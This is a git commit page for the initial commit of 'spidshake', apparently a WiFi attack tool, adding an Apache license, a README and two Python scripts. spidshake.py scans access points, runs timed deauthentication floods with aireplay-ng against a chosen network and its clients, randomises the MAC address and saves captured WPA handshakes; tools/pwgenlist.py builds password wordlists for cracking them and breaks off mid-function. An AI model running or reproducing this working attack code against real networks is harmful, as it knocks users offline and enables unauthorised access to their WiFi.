mirror of
https://git.nogafam.es/nogafam/spidshake
synced 2024-11-10 07:31:42 +01:00
initial commit
This commit is contained in:
commit
1e594b939f
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
.*.swp
|
208
LICENSE
Normal file
208
LICENSE
Normal file
@ -0,0 +1,208 @@
|
|||||||
|
Apache License
|
||||||
|
|
||||||
|
Version 2.0, January 2004
|
||||||
|
|
||||||
|
http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION,
|
||||||
|
AND DISTRIBUTION
|
||||||
|
|
||||||
|
1. Definitions.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
"License" shall mean the terms and conditions for use, reproduction, and distribution
|
||||||
|
as defined by Sections 1 through 9 of this document.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
"Licensor" shall mean the copyright owner or entity authorized by the copyright
|
||||||
|
owner that is granting the License.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
"Legal Entity" shall mean the union of the acting entity and all other entities
|
||||||
|
that control, are controlled by, or are under common control with that entity.
|
||||||
|
For the purposes of this definition, "control" means (i) the power, direct
|
||||||
|
or indirect, to cause the direction or management of such entity, whether
|
||||||
|
by contract or otherwise, or (ii) ownership of fifty percent (50%) or more
|
||||||
|
of the outstanding shares, or (iii) beneficial ownership of such entity.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
"You" (or "Your") shall mean an individual or Legal Entity exercising permissions
|
||||||
|
granted by this License.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
"Source" form shall mean the preferred form for making modifications, including
|
||||||
|
but not limited to software source code, documentation source, and configuration
|
||||||
|
files.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
"Object" form shall mean any form resulting from mechanical transformation
|
||||||
|
or translation of a Source form, including but not limited to compiled object
|
||||||
|
code, generated documentation, and conversions to other media types.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
"Work" shall mean the work of authorship, whether in Source or Object form,
|
||||||
|
made available under the License, as indicated by a copyright notice that
|
||||||
|
is included in or attached to the work (an example is provided in the Appendix
|
||||||
|
below).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
"Derivative Works" shall mean any work, whether in Source or Object form,
|
||||||
|
that is based on (or derived from) the Work and for which the editorial revisions,
|
||||||
|
annotations, elaborations, or other modifications represent, as a whole, an
|
||||||
|
original work of authorship. For the purposes of this License, Derivative
|
||||||
|
Works shall not include works that remain separable from, or merely link (or
|
||||||
|
bind by name) to the interfaces of, the Work and Derivative Works thereof.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
"Contribution" shall mean any work of authorship, including the original version
|
||||||
|
of the Work and any modifications or additions to that Work or Derivative
|
||||||
|
Works thereof, that is intentionally submitted to Licensor for inclusion in
|
||||||
|
the Work by the copyright owner or by an individual or Legal Entity authorized
|
||||||
|
to submit on behalf of the copyright owner. For the purposes of this definition,
|
||||||
|
"submitted" means any form of electronic, verbal, or written communication
|
||||||
|
sent to the Licensor or its representatives, including but not limited to
|
||||||
|
communication on electronic mailing lists, source code control systems, and
|
||||||
|
issue tracking systems that are managed by, or on behalf of, the Licensor
|
||||||
|
for the purpose of discussing and improving the Work, but excluding communication
|
||||||
|
that is conspicuously marked or otherwise designated in writing by the copyright
|
||||||
|
owner as "Not a Contribution."
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
"Contributor" shall mean Licensor and any individual or Legal Entity on behalf
|
||||||
|
of whom a Contribution has been received by Licensor and subsequently incorporated
|
||||||
|
within the Work.
|
||||||
|
|
||||||
|
2. Grant of Copyright License. Subject to the terms and conditions of this
|
||||||
|
License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive,
|
||||||
|
no-charge, royalty-free, irrevocable copyright license to reproduce, prepare
|
||||||
|
Derivative Works of, publicly display, publicly perform, sublicense, and distribute
|
||||||
|
the Work and such Derivative Works in Source or Object form.
|
||||||
|
|
||||||
|
3. Grant of Patent License. Subject to the terms and conditions of this License,
|
||||||
|
each Contributor hereby grants to You a perpetual, worldwide, non-exclusive,
|
||||||
|
no-charge, royalty-free, irrevocable (except as stated in this section) patent
|
||||||
|
license to make, have made, use, offer to sell, sell, import, and otherwise
|
||||||
|
transfer the Work, where such license applies only to those patent claims
|
||||||
|
licensable by such Contributor that are necessarily infringed by their Contribution(s)
|
||||||
|
alone or by combination of their Contribution(s) with the Work to which such
|
||||||
|
Contribution(s) was submitted. If You institute patent litigation against
|
||||||
|
any entity (including a cross-claim or counterclaim in a lawsuit) alleging
|
||||||
|
that the Work or a Contribution incorporated within the Work constitutes direct
|
||||||
|
or contributory patent infringement, then any patent licenses granted to You
|
||||||
|
under this License for that Work shall terminate as of the date such litigation
|
||||||
|
is filed.
|
||||||
|
|
||||||
|
4. Redistribution. You may reproduce and distribute copies of the Work or
|
||||||
|
Derivative Works thereof in any medium, with or without modifications, and
|
||||||
|
in Source or Object form, provided that You meet the following conditions:
|
||||||
|
|
||||||
|
(a) You must give any other recipients of the Work or Derivative Works a copy
|
||||||
|
of this License; and
|
||||||
|
|
||||||
|
(b) You must cause any modified files to carry prominent notices stating that
|
||||||
|
You changed the files; and
|
||||||
|
|
||||||
|
(c) You must retain, in the Source form of any Derivative Works that You distribute,
|
||||||
|
all copyright, patent, trademark, and attribution notices from the Source
|
||||||
|
form of the Work, excluding those notices that do not pertain to any part
|
||||||
|
of the Derivative Works; and
|
||||||
|
|
||||||
|
(d) If the Work includes a "NOTICE" text file as part of its distribution,
|
||||||
|
then any Derivative Works that You distribute must include a readable copy
|
||||||
|
of the attribution notices contained within such NOTICE file, excluding those
|
||||||
|
notices that do not pertain to any part of the Derivative Works, in at least
|
||||||
|
one of the following places: within a NOTICE text file distributed as part
|
||||||
|
of the Derivative Works; within the Source form or documentation, if provided
|
||||||
|
along with the Derivative Works; or, within a display generated by the Derivative
|
||||||
|
Works, if and wherever such third-party notices normally appear. The contents
|
||||||
|
of the NOTICE file are for informational purposes only and do not modify the
|
||||||
|
License. You may add Your own attribution notices within Derivative Works
|
||||||
|
that You distribute, alongside or as an addendum to the NOTICE text from the
|
||||||
|
Work, provided that such additional attribution notices cannot be construed
|
||||||
|
as modifying the License.
|
||||||
|
|
||||||
|
You may add Your own copyright statement to Your modifications and may provide
|
||||||
|
additional or different license terms and conditions for use, reproduction,
|
||||||
|
or distribution of Your modifications, or for any such Derivative Works as
|
||||||
|
a whole, provided Your use, reproduction, and distribution of the Work otherwise
|
||||||
|
complies with the conditions stated in this License.
|
||||||
|
|
||||||
|
5. Submission of Contributions. Unless You explicitly state otherwise, any
|
||||||
|
Contribution intentionally submitted for inclusion in the Work by You to the
|
||||||
|
Licensor shall be under the terms and conditions of this License, without
|
||||||
|
any additional terms or conditions. Notwithstanding the above, nothing herein
|
||||||
|
shall supersede or modify the terms of any separate license agreement you
|
||||||
|
may have executed with Licensor regarding such Contributions.
|
||||||
|
|
||||||
|
6. Trademarks. This License does not grant permission to use the trade names,
|
||||||
|
trademarks, service marks, or product names of the Licensor, except as required
|
||||||
|
for reasonable and customary use in describing the origin of the Work and
|
||||||
|
reproducing the content of the NOTICE file.
|
||||||
|
|
||||||
|
7. Disclaimer of Warranty. Unless required by applicable law or agreed to
|
||||||
|
in writing, Licensor provides the Work (and each Contributor provides its
|
||||||
|
Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
|
||||||
|
KIND, either express or implied, including, without limitation, any warranties
|
||||||
|
or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR
|
||||||
|
A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness
|
||||||
|
of using or redistributing the Work and assume any risks associated with Your
|
||||||
|
exercise of permissions under this License.
|
||||||
|
|
||||||
|
8. Limitation of Liability. In no event and under no legal theory, whether
|
||||||
|
in tort (including negligence), contract, or otherwise, unless required by
|
||||||
|
applicable law (such as deliberate and grossly negligent acts) or agreed to
|
||||||
|
in writing, shall any Contributor be liable to You for damages, including
|
||||||
|
any direct, indirect, special, incidental, or consequential damages of any
|
||||||
|
character arising as a result of this License or out of the use or inability
|
||||||
|
to use the Work (including but not limited to damages for loss of goodwill,
|
||||||
|
work stoppage, computer failure or malfunction, or any and all other commercial
|
||||||
|
damages or losses), even if such Contributor has been advised of the possibility
|
||||||
|
of such damages.
|
||||||
|
|
||||||
|
9. Accepting Warranty or Additional Liability. While redistributing the Work
|
||||||
|
or Derivative Works thereof, You may choose to offer, and charge a fee for,
|
||||||
|
acceptance of support, warranty, indemnity, or other liability obligations
|
||||||
|
and/or rights consistent with this License. However, in accepting such obligations,
|
||||||
|
You may act only on Your own behalf and on Your sole responsibility, not on
|
||||||
|
behalf of any other Contributor, and only if You agree to indemnify, defend,
|
||||||
|
and hold each Contributor harmless for any liability incurred by, or claims
|
||||||
|
asserted against, such Contributor by reason of your accepting any such warranty
|
||||||
|
or additional liability. END OF TERMS AND CONDITIONS
|
||||||
|
|
||||||
|
APPENDIX: How to apply the Apache License to your work.
|
||||||
|
|
||||||
|
To apply the Apache License to your work, attach the following boilerplate
|
||||||
|
notice, with the fields enclosed by brackets "[]" replaced with your own identifying
|
||||||
|
information. (Don't include the brackets!) The text should be enclosed in
|
||||||
|
the appropriate comment syntax for the file format. We also recommend that
|
||||||
|
a file or class name and description of purpose be included on the same "printed
|
||||||
|
page" as the copyright notice for easier identification within third-party
|
||||||
|
archives.
|
||||||
|
|
||||||
|
Copyright [yyyy] [name of copyright owner]
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreed to in writing, software
|
||||||
|
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
|
||||||
|
limitations under the License.
|
3
README.md
Normal file
3
README.md
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
# spidshake
|
||||||
|
|
||||||
|
Fastest WPA handshake capturing tool ever made
|
352
spidshake.py
Executable file
352
spidshake.py
Executable file
@ -0,0 +1,352 @@
|
|||||||
|
import xml.etree.ElementTree as ET
|
||||||
|
import prettytable
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
import argparse
|
||||||
|
import time
|
||||||
|
import xml
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
|
# default values
|
||||||
|
gaps = None
|
||||||
|
TDIR = '/tmp/wcrack'
|
||||||
|
TARGS = None
|
||||||
|
TVARS = {
|
||||||
|
'handshake': False
|
||||||
|
}
|
||||||
|
|
||||||
|
def she(c,debug=False):
|
||||||
|
try:
|
||||||
|
return subprocess.check_output(c,shell=True).decode('utf8','ignore').strip()
|
||||||
|
except Exception as e:
|
||||||
|
if debug:
|
||||||
|
print(str(e))
|
||||||
|
return None
|
||||||
|
|
||||||
|
def main():
|
||||||
|
# yes, we use a global variable
|
||||||
|
# to get the program arguments
|
||||||
|
global TARGS
|
||||||
|
parser = argparse.ArgumentParser(description='The faster WPA Handshake capturer on Kali')
|
||||||
|
parser.add_argument('--dry-run', action='store_true', help="Don't do deauth attacks, just show how it would run")
|
||||||
|
parser.add_argument('-m', '--random-mac', action='store_true', help="Randomize your MAC address at start (keeping vendor bits)")
|
||||||
|
parser.add_argument('-fa', '--force-attack', action='store_true', help="Deauths the AP before looking for connected clients")
|
||||||
|
parser.add_argument('-f', '--force', action='store_true', help='Continue on program exceptions that might ocurr, but are not critical')
|
||||||
|
parser.add_argument('-ex', '--exclude-conf', action='store_true', help="Exclude ESSIDs by regex reading /etc/spidshake/exclude.conf")
|
||||||
|
reqgroup = parser.add_argument_group('required arguments')
|
||||||
|
reqgroup.add_argument('-i','--interface', type=str, required=True, help="Interface on monitor mode to be used")
|
||||||
|
parser.add_argument('-sm','--show-max', default=12, type=int, help="Maximum Access Points to display on screen")
|
||||||
|
TARGS = parser.parse_args(sys.argv[1:])
|
||||||
|
|
||||||
|
# make the tmp dir
|
||||||
|
os.system('mkdir -p {}'.format(TDIR))
|
||||||
|
|
||||||
|
# the netxml file to read
|
||||||
|
apdata = []
|
||||||
|
nxmlfile = '{}/airodump-01.kismet.netxml'.format(TDIR)
|
||||||
|
|
||||||
|
# start dumping ap data
|
||||||
|
airodump_all()
|
||||||
|
|
||||||
|
def render_access_points(apdata):
|
||||||
|
if len(apdata) > 0:
|
||||||
|
tb = prettytable.PrettyTable(['CH','BSSID','PW','C','#','ESSID'])
|
||||||
|
i = 0
|
||||||
|
for ap in apdata:
|
||||||
|
tb.add_row([ap['channel'], ap['bssid'][-8:], \
|
||||||
|
ap['signal'], len(ap['clients']), i, ap['essid']])
|
||||||
|
i += 1
|
||||||
|
print(tb)
|
||||||
|
|
||||||
|
# show aps indefinetly
|
||||||
|
li = 0
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
# get access point data
|
||||||
|
apdata = get_ap_data(nxmlfile)
|
||||||
|
|
||||||
|
os.system('clear')
|
||||||
|
render_access_points(apdata)
|
||||||
|
time.sleep(0.5)
|
||||||
|
li += 1
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
# if no access points, we quit
|
||||||
|
if len(apdata) == 0:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
# select the desired AP
|
||||||
|
os.system('clear')
|
||||||
|
render_access_points(apdata)
|
||||||
|
select = 0
|
||||||
|
try:
|
||||||
|
select = int(input('[[ Select AP index ]]: ').strip())
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# if index is correct, start attacking
|
||||||
|
if len(apdata) > 0 and select >= 0 and select < len(apdata):
|
||||||
|
ap_attack(nxmlfile, apdata, select)
|
||||||
|
airodump_all()
|
||||||
|
|
||||||
|
def randomize_mac():
|
||||||
|
if TARGS.random_mac:
|
||||||
|
os.system('ifconfig {} down'.format(TARGS.interface))
|
||||||
|
# fully random macs don't usually work on deauthing, they are ignored
|
||||||
|
# so we set a fully random mac, but leaving the vendor bits unchanged
|
||||||
|
os.system('macchanger -r -e {} 2>&1 | tail -n1'.format(TARGS.interface))
|
||||||
|
os.system('ifconfig {} up'.format(TARGS.interface))
|
||||||
|
|
||||||
|
# use airodump-ng to capture all APs in
|
||||||
|
# netxml format (2.4GHZ support only, yet)
|
||||||
|
def airodump_all():
|
||||||
|
# yes, we kill all airodump-ng
|
||||||
|
os.system('pkill -9 airodump-ng')
|
||||||
|
os.system('rm {}/airodump* 2>/dev/null'.format(TDIR))
|
||||||
|
os.system('airodump-ng {} -a -M -w {}/airodump --write-interval 1 --band a --output-format netxml --channel 1-14 -K 1 > /dev/null 2>&1 &'\
|
||||||
|
.format(TARGS.interface, TDIR))
|
||||||
|
|
||||||
|
# use airodump-ng with bssid and channel config
|
||||||
|
# to get clients and attack easier and faster
|
||||||
|
# pcap format added to check handshakes
|
||||||
|
def airodump_bssid(bssid,channel):
|
||||||
|
# yes, we kill all airodump-ng
|
||||||
|
os.system('pkill -9 airodump-ng')
|
||||||
|
os.system('rm {}/airodump* 2>/dev/null'.format(TDIR))
|
||||||
|
os.system("""
|
||||||
|
airodump-ng {} --bssid {} -a -M -w {}/airodump --write-interval 1 --band a --cswitch 2 --output-format pcap,netxml --channel {} -K 1 > /dev/null 2>&1 &
|
||||||
|
""".format(TARGS.interface, bssid, TDIR, channel))
|
||||||
|
|
||||||
|
# filter ap by bssid in aps
|
||||||
|
def ap_get_by_bssid(aps, bssid):
|
||||||
|
for ap in aps:
|
||||||
|
if ap['bssid'] == bssid:
|
||||||
|
return ap
|
||||||
|
return None
|
||||||
|
|
||||||
|
# do the access point attack
|
||||||
|
def ap_attack(f, aps, index):
|
||||||
|
global thstop
|
||||||
|
global atls
|
||||||
|
hashake = False
|
||||||
|
thstop = False
|
||||||
|
thattack = None
|
||||||
|
atls = []
|
||||||
|
try:
|
||||||
|
sap = aps[index]
|
||||||
|
|
||||||
|
# start capturing bssid traffic with specific channel
|
||||||
|
airodump_bssid(sap['bssid'], sap['channel'])
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
# ap index will certainly change in our implementation
|
||||||
|
# we need to search the new given aps to match bssid
|
||||||
|
ap = aps[index]
|
||||||
|
if ap['bssid'] != sap['bssid']:
|
||||||
|
ap = ap_get_by_bssid(aps, sap['bssid'])
|
||||||
|
except IndexError:
|
||||||
|
ap = ap_get_by_bssid(aps, sap['bssid'])
|
||||||
|
if ap is None:
|
||||||
|
print('FATAL: cannot retrieve AP data!')
|
||||||
|
return 1
|
||||||
|
|
||||||
|
# print the ap details and
|
||||||
|
# the connnected clients
|
||||||
|
os.system('clear')
|
||||||
|
if (TARGS.force_attack and thattack is None) or (len(ap['clients']) > 0 and thattack is None):
|
||||||
|
thattack = threading.Thread(target=ap_attack_do_clients)
|
||||||
|
thattack.start()
|
||||||
|
|
||||||
|
print('>>>>>>>>')
|
||||||
|
print('{}; channel: {}'.format(ap['essid'], ap['channel']))
|
||||||
|
print('{}\t{}\t{}'.format(ap['bssid'], ap['signal'], ap['vendor']))
|
||||||
|
for cli in ap['clients']:
|
||||||
|
print('--¬ {}\t{}\t{}'.format(cli['mac'], cli['signal'], cli['vendor']))
|
||||||
|
|
||||||
|
# print attack info lines
|
||||||
|
print()
|
||||||
|
for l in atls:
|
||||||
|
print(l)
|
||||||
|
|
||||||
|
# check for handshake
|
||||||
|
if TVARS['handshake']:
|
||||||
|
hsfile = 'hs/handshake_{}.cap'.format(sap['essid'])
|
||||||
|
os.system('mkdir -p hs/')
|
||||||
|
os.system("cp {}/airodump-01.cap '{}'".format(TDIR, hsfile))
|
||||||
|
input('## handshake: YES / saved on {}'.format(hsfile))
|
||||||
|
TVARS['handshake'] = False
|
||||||
|
thstop = True
|
||||||
|
return 0
|
||||||
|
|
||||||
|
# sleep and re-obtain, show handshake status
|
||||||
|
print('## handshake: {}'.format('NO' if not TVARS['handshake'] else 'YES'))
|
||||||
|
time.sleep(0.5)
|
||||||
|
aps = get_ap_data(f)
|
||||||
|
global gaps
|
||||||
|
gaps = aps
|
||||||
|
|
||||||
|
# don't know why i did this, but works?
|
||||||
|
while len(aps) == 0:
|
||||||
|
aps = get_ap_data(f)
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
thstop = True
|
||||||
|
print('INFO: returing to ap listing')
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
# thread to attack clients and ap
|
||||||
|
# while showing them in the main thread
|
||||||
|
def ap_attack_do_clients():
|
||||||
|
global thstop
|
||||||
|
global gaps
|
||||||
|
global atls
|
||||||
|
atls = []
|
||||||
|
hashake = False
|
||||||
|
while True:
|
||||||
|
if not gaps is None and not len(gaps) == 0:
|
||||||
|
break
|
||||||
|
time.sleep(0.5)
|
||||||
|
if thstop:
|
||||||
|
return 0
|
||||||
|
|
||||||
|
# explanation:
|
||||||
|
# attack n times, each n seconds
|
||||||
|
# @ An array of values
|
||||||
|
times = [
|
||||||
|
[1,6],
|
||||||
|
[2,15],
|
||||||
|
[2,20],
|
||||||
|
[3,30],
|
||||||
|
[3,45],
|
||||||
|
[4,60]
|
||||||
|
]
|
||||||
|
|
||||||
|
# do it all, baby
|
||||||
|
for ti in times:
|
||||||
|
gap = None
|
||||||
|
if len(gaps) == 1:
|
||||||
|
gap = gaps[0]
|
||||||
|
if gap is None:
|
||||||
|
print('FATAL: no access point or clients to attack')
|
||||||
|
return 1
|
||||||
|
|
||||||
|
randomize_mac(); time.sleep(0.5)
|
||||||
|
execrt('aireplay-ng --ignore-negative-one -0 {} -a {} {} 2>&1 &'.format( ti[0], gap['bssid'], TARGS.interface ))
|
||||||
|
atls.append('== deauth {} broadcast => {}'.format(ti[0], gap['bssid']))
|
||||||
|
for cl in gap['clients']:
|
||||||
|
if cl['signal'] < 0:
|
||||||
|
execrt('aireplay-ng --ignore-negative-one -0 {} -a {} -c {} --deauth-rc=2 {} 2>&1 &'.format(\
|
||||||
|
ti[0], gap['bssid'], cl['mac'], TARGS.interface ))
|
||||||
|
atls.append('== deauth {} client {} {}'.format(ti[0], cl['mac'], cl['vendor']))
|
||||||
|
else:
|
||||||
|
atls.append('== deauth client skip {} {}'.format(cl['mac'], cl['vendor']))
|
||||||
|
i = 0
|
||||||
|
while i < ti[1]:
|
||||||
|
print('{}/{}'.format(i+1,ti[1]))
|
||||||
|
if ap_check_has_handshake():
|
||||||
|
TVARS['handshake'] = True
|
||||||
|
return 2
|
||||||
|
time.sleep(1)
|
||||||
|
if thstop:
|
||||||
|
return 0
|
||||||
|
i += 1
|
||||||
|
|
||||||
|
atls.append('FATAL: Attack did not succeed')
|
||||||
|
|
||||||
|
def execrt(cmd):
|
||||||
|
if not TARGS.dry_run:
|
||||||
|
os.system(cmd)
|
||||||
|
return 'X: {}'.format(cmd)
|
||||||
|
|
||||||
|
def ap_check_has_handshake():
|
||||||
|
try:
|
||||||
|
out = subprocess.check_output(\
|
||||||
|
"aircrack-ng {}/airodump-01.cap 2>/dev/null | grep -o -P '\d+(?=\shandshake)'".format(TDIR), shell=True)\
|
||||||
|
.decode('utf8','ignore').strip()
|
||||||
|
return int(out) > 0
|
||||||
|
except FileNotFoundError:
|
||||||
|
return False
|
||||||
|
except subprocess.CalledProcessError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
# get all access point data needed (including associated clients)
|
||||||
|
def get_ap_data(f):
|
||||||
|
|
||||||
|
c = None
|
||||||
|
try:
|
||||||
|
c = open(f,'r').read()
|
||||||
|
# sanitize xml (improper essids...)
|
||||||
|
c = re.sub(r'(?<=\&\#[^\s])\s+(?=[^\s]+;)','',c)
|
||||||
|
c = re.sub(r'\&\#[^;]+;','',c)
|
||||||
|
root = ET.fromstring(c)
|
||||||
|
except FileNotFoundError as e:
|
||||||
|
return []
|
||||||
|
except xml.etree.ElementTree.ParseError as e2:
|
||||||
|
if TARGS.force:
|
||||||
|
return []
|
||||||
|
if not str(e2).startswith('no element found'):
|
||||||
|
print(str(e2))
|
||||||
|
sys.exit(1)
|
||||||
|
return []
|
||||||
|
|
||||||
|
js = []
|
||||||
|
|
||||||
|
# iterate all network access points
|
||||||
|
exclude = []
|
||||||
|
if TARGS.exclude_conf:
|
||||||
|
try:
|
||||||
|
with open('/etc/spidshake/exclude.conf','r') as r:
|
||||||
|
exclude = r.read().strip().splitlines()
|
||||||
|
except FileNotFoundError:
|
||||||
|
exclude = []
|
||||||
|
def is_excluded(essid, exls):
|
||||||
|
for reg in exls:
|
||||||
|
if re.match(reg, essid):
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
for net in root.findall('wireless-network'):
|
||||||
|
if net.find('SSID'):
|
||||||
|
item = {
|
||||||
|
'essid': net.find('SSID').find('essid').text,
|
||||||
|
'bssid': net.find('BSSID').text,
|
||||||
|
'vendor': net.find('manuf').text,
|
||||||
|
'channel': int(net.find('channel').text),
|
||||||
|
'beacons': int(net.find('SSID').find('packets').text),
|
||||||
|
'enctypes': [it.text for it in net.find('SSID').findall('encryption')],
|
||||||
|
'signal': int(net.find('snr-info').find('last_signal_dbm').text),
|
||||||
|
'clients': [],
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(item['enctypes']) == 1 and item['enctypes'][0] == 'None':
|
||||||
|
continue
|
||||||
|
|
||||||
|
for cli in net.findall('wireless-client'):
|
||||||
|
client = {
|
||||||
|
'mac': cli.find('client-mac').text,
|
||||||
|
'vendor': cli.find('client-manuf').text,
|
||||||
|
'channel': int(cli.find('channel').text),
|
||||||
|
'signal': int(cli.find('snr-info').find('last_signal_dbm').text),
|
||||||
|
}
|
||||||
|
item['clients'].append(client)
|
||||||
|
item['clients'] = sorted(item['clients'], key=lambda x: x['signal'], reverse=True)
|
||||||
|
|
||||||
|
if not item['essid'] is None:
|
||||||
|
if not TARGS.exclude_conf or not is_excluded(item['essid'], exclude):
|
||||||
|
js.append(item)
|
||||||
|
|
||||||
|
# order them by signal (dBm)
|
||||||
|
js = sorted(js, key=lambda x: x['signal'], reverse=True)
|
||||||
|
if len(js) > TARGS.show_max:
|
||||||
|
return js[:TARGS.show_max]
|
||||||
|
return js
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
try:
|
||||||
|
main()
|
||||||
|
os.system('pkill -9 airodump-ng')
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print('INFO: aborted')
|
152
tools/pwgenlist.py
Executable file
152
tools/pwgenlist.py
Executable file
@ -0,0 +1,152 @@
|
|||||||
|
import itertools
|
||||||
|
import argparse
|
||||||
|
import datetime
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
|
||||||
|
def main():
|
||||||
|
# argparse ftw
|
||||||
|
parser = argparse.ArgumentParser(description='Easiest WPA password generator')
|
||||||
|
reqgroup = parser.add_argument_group('required arguments')
|
||||||
|
reqgroup.add_argument('-i','--input', required=True, type=str, nargs='+', metavar='FOO,BAR', help="Comma separated strings of possible combinations. Ex: -i foo,bar raw,nobar")
|
||||||
|
parser.add_argument('-s', '--symbols', action='store_true', help="Include common symbols on common places")
|
||||||
|
parser.add_argument('-n', '--numbers', action='store_true', help="Include common numbers on the common places (such as 2018, 123, 12345)")
|
||||||
|
parser.add_argument('-l', '--level', type=int, default=1, choices=(1,2,3), metavar='N', help="Password level of complexity, 1 = only lower+upper, 2 = lower+upper+capital, 3 = lower+upper+capital+hackerize")
|
||||||
|
parser.add_argument('-o', '--output', type=str, metavar='OUT', help="Output file where to save the wordlist (default: stdout)")
|
||||||
|
args = parser.parse_args(sys.argv[1:])
|
||||||
|
|
||||||
|
wf = None
|
||||||
|
ostd = sys.stdout
|
||||||
|
if not args.output is None:
|
||||||
|
wf = open(args.output, 'w')
|
||||||
|
sys.stdout = wf
|
||||||
|
generate_wordlist(args)
|
||||||
|
if not wf is None:
|
||||||
|
sys.stdout = ostd
|
||||||
|
wf.close()
|
||||||
|
|
||||||
|
# main generator function
|
||||||
|
# basically, every print(something) will be saved to
|
||||||
|
# either the output file, or the stdout
|
||||||
|
def generate_wordlist(args):
|
||||||
|
def rnd_symbols(w):
|
||||||
|
for r in '@$?%&#':
|
||||||
|
if '@' in w:
|
||||||
|
print(w.replace('@',r))
|
||||||
|
for it in args.input:
|
||||||
|
pms = []
|
||||||
|
bcs = []
|
||||||
|
for word in it.split(','):
|
||||||
|
bcs.append(generate_base_words(word, args.level))
|
||||||
|
nums = get_common_numbers() + get_lastnyears(20) + get_numrange(100)
|
||||||
|
for it in itertools.product(*bcs):
|
||||||
|
it = list(it)
|
||||||
|
opts = []
|
||||||
|
for cit in itertools.permutations(it,len(it)):
|
||||||
|
opts.append(cit)
|
||||||
|
if args.symbols or args.numbers:
|
||||||
|
oit = it.copy()
|
||||||
|
if args.numbers:
|
||||||
|
li = oit.copy()
|
||||||
|
li.append('#'); it.append('#')
|
||||||
|
for cit in itertools.permutations(li,len(li)):
|
||||||
|
opts.append(cit)
|
||||||
|
if args.symbols:
|
||||||
|
li = oit.copy()
|
||||||
|
li.append('@'); it.append('@')
|
||||||
|
for cit in itertools.permutations(li,len(li)):
|
||||||
|
opts.append(cit)
|
||||||
|
for cit in itertools.permutations(it,len(it)):
|
||||||
|
opts.append(cit)
|
||||||
|
opts = sorted(set(opts))
|
||||||
|
for it in opts:
|
||||||
|
cit = ''.join(it)
|
||||||
|
if '#' in it:
|
||||||
|
for n in nums:
|
||||||
|
cc = cit
|
||||||
|
cc = cc.replace('#',str(n))
|
||||||
|
print(cc.replace('@',''))
|
||||||
|
rnd_symbols(cc)
|
||||||
|
if '@' in it and not '#' in it:
|
||||||
|
rnd_symbols(cit)
|
||||||
|
|
||||||
|
# gets combinations with replacement
|
||||||
|
# of 0,1 for the given word, to replace later
|
||||||
|
def true_false_combinations(word):
|
||||||
|
a = False; pm = []
|
||||||
|
for c in word:
|
||||||
|
a = not a; pm.append(not a)
|
||||||
|
return itertools.combinations_with_replacement(pm,len(word))
|
||||||
|
|
||||||
|
# generate base words for given word,
|
||||||
|
# with the given complexity level
|
||||||
|
def generate_base_words(word, clevel):
|
||||||
|
bc = []
|
||||||
|
bc.append(word.lower())
|
||||||
|
bc.append(word.upper())
|
||||||
|
if clevel >= 2:
|
||||||
|
bc += generate_all_capitalizations(word)
|
||||||
|
if clevel >= 3:
|
||||||
|
nw = []
|
||||||
|
for b in bc:
|
||||||
|
nw += generate_all_hackerization(b)
|
||||||
|
nw = sorted(set(nw))
|
||||||
|
bc += nw
|
||||||
|
return sorted(set(bc))
|
||||||
|
|
||||||
|
# generate all possibilities with capital letters
|
||||||
|
# with the given word, combining all with replacements
|
||||||
|
def generate_all_capitalizations(word):
|
||||||
|
rs = []
|
||||||
|
for bls in true_false_combinations(word):
|
||||||
|
w = word.lower(); i = 0
|
||||||
|
for b in bls:
|
||||||
|
if b:
|
||||||
|
w = w[:i] + w[i].upper() + w[i+1:]
|
||||||
|
i += 1
|
||||||
|
rs.append(w)
|
||||||
|
return sorted(set(rs))
|
||||||
|
|
||||||
|
# generate all hackerization possibilities with given word
|
||||||
|
# hackerization means replacing: A = 4, S = 5, E = 3, I = 1
|
||||||
|
def generate_all_hackerization(word):
|
||||||
|
def hackerize(c):
|
||||||
|
cl = c.lower()
|
||||||
|
mp = {'a':4,'s':5,'e':3,'i':1,'o':0}
|
